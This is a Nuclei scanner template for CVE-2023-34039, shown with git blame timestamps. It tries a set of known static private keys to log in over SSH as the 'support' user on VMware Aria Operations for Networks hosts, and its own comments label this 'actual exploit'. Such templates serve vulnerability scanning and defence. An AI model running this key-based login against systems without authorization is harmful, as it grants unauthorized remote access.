2023-11-09 08:07:17 +00:00
|
|
|
id: CVE-2023-34039
|
2023-11-02 19:06:37 +00:00
|
|
|
|
|
|
|
info:
|
2023-11-09 08:07:17 +00:00
|
|
|
name: VMWare Aria Operations - Remote Code Execution
|
2023-11-02 19:06:37 +00:00
|
|
|
author: tarunKoyalwar
|
2023-11-09 08:07:17 +00:00
|
|
|
severity: critical
|
2023-11-02 19:06:37 +00:00
|
|
|
description: |
|
|
|
|
VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)
|
|
|
|
Version: All versions from 6.0 to 6.10
|
2023-11-09 08:07:17 +00:00
|
|
|
impact: |
|
|
|
|
Successful exploitation of this vulnerability can lead to remote code execution or a complete system crash.
|
|
|
|
remediation: |
|
|
|
|
Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
|
2023-11-02 19:06:37 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/sinsinology/CVE-2023-34039.git
|
2023-11-09 08:07:17 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-34039
|
2023-11-10 09:15:01 +00:00
|
|
|
- http://packetstormsecurity.com/files/174452/VMWare-Aria-Operations-For-Networks-Remote-Code-Execution.html
|
|
|
|
- http://packetstormsecurity.com/files/175320/VMWare-Aria-Operations-For-Networks-SSH-Private-Key-Exposure.html
|
|
|
|
- https://www.vmware.com/security/advisories/VMSA-2023-0018.html
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
|
|
|
cve-id: CVE-2023-34039
|
|
|
|
cwe-id: CWE-327
|
2024-03-23 09:28:19 +00:00
|
|
|
epss-score: 0.9013
|
|
|
|
epss-percentile: 0.98721
|
2023-11-10 09:15:01 +00:00
|
|
|
cpe: cpe:2.3:a:vmware:aria_operations_for_networks:*:*:*:*:*:*:*:*
|
2023-11-09 08:07:17 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-11-10 09:15:01 +00:00
|
|
|
vendor: vmware
|
|
|
|
product: aria_operations_for_networks
|
2024-03-19 15:20:31 +00:00
|
|
|
tags: js,packetstorm,cve,cve2019,vmware,aria,rce,fuzz,vrealize
|
2023-11-02 19:06:37 +00:00
|
|
|
variables:
|
2023-11-10 09:15:01 +00:00
|
|
|
keysDir: "helpers/payloads/cve-2023-34039-keys" # load all private keys from this directory
|
2024-01-04 06:46:23 +00:00
|
|
|
|
2023-11-02 19:06:37 +00:00
|
|
|
javascript:
|
2023-11-10 09:15:01 +00:00
|
|
|
# init field can be used to make any preperations before the actual exploit
|
|
|
|
# here we are reading all private keys from helpers folder and storing them in a list
|
2023-11-02 19:06:37 +00:00
|
|
|
- init: |
|
|
|
|
let m = require('nuclei/fs');
|
|
|
|
let privatekeys = m.ReadFilesFromDir(keysDir)
|
|
|
|
updatePayload('keys',privatekeys)
|
2023-11-10 09:15:01 +00:00
|
|
|
# check if port is open before bruteforcing
|
2023-11-02 19:06:37 +00:00
|
|
|
pre-condition: |
|
|
|
|
isPortOpen(Host,Port)
|
2023-11-10 09:15:01 +00:00
|
|
|
# actual exploit
|
2023-11-02 19:06:37 +00:00
|
|
|
code: |
|
|
|
|
let m = require('nuclei/ssh')
|
|
|
|
let c = m.SSHClient()
|
|
|
|
c.ConnectWithKey(Host,Port,'support@'+Host,key) // returns true if connection is successful
|
|
|
|
args:
|
|
|
|
Host: "{{Host}}"
|
|
|
|
Port: "22"
|
|
|
|
key: "{{keys}}"
|
|
|
|
keysDir: "{{keysDir}}"
|
|
|
|
payloads:
|
|
|
|
# 'keys' will be updated by actual private keys after init is executed
|
2023-11-09 08:44:00 +00:00
|
|
|
keys:
|
2023-11-02 19:06:37 +00:00
|
|
|
- dummy1
|
|
|
|
- dummy2
|
|
|
|
threads: 10
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
2023-11-10 08:54:47 +00:00
|
|
|
- success && response
|
2024-03-19 16:40:41 +00:00
|
|
|
# digest: 4b0a0048304602210096baa6d7adfe80f8e87172810d28e0fb98afca70b4c7081653717d290b1c455e022100f8f25d688999956d0f6f18c2c522b6946f46e35c415fe928b97369971def3226:922c64590222798bb761d5b6d8e72950
|